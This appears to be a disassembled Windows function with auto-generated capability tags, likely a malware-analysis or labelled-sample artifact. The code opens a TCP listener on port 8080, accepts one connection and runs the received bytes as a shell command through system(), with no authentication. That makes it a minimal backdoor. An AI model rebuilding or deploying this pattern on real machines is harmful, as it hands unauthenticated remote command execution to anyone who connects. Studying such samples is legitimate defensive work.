Function at 0x140001584
Capabilities:
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Start tcp server

Disassembly:
push rbp
push rdi
sub rsp, 0x5f8
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x56c], 1
mov dword [rbp + 0x3ac], 0x10
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x7e
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x3c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001612
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.WSAStartup_failed._Error_Code_:__d
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x14000183e
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x560], rax
cmp qword [rbp + 0x560], 0xffffffffffffffff
jne 0x140001669
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Could_not_create_socket_:__d
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x14000183e
mov word [rbp + 0x3b0], 2
mov dword [rbp + 0x3b4], 0
mov ecx, 0x1f90
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x3b2], ax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x560]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_bind]
call rax
cmp eax, 0xffffffff
jne 0x1400016f6
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Bind_failed_with_error_code_:__d
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x560]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x14000183e
mov rax, qword [rbp + 0x560]
mov edx, 3
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_listen]
call rax
cmp eax, 0xffffffff
jne 0x140001753
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Listen_failed_with_error_code_:__d
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x560]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x14000183e
lea rcx, [rbp + 0x3ac]
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x560]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_accept]
call rax
mov qword [rbp + 0x558], rax
cmp qword [rbp + 0x558], 0xffffffffffffffff
jne 0x1400017c5
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.accept_failed_with_error_code_:__d
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x560]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x14000183e
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x558]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
mov rdx, rax
lea rax, str.Executing_command:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x558]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x560]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x5f8
pop rdi
pop rbp
ret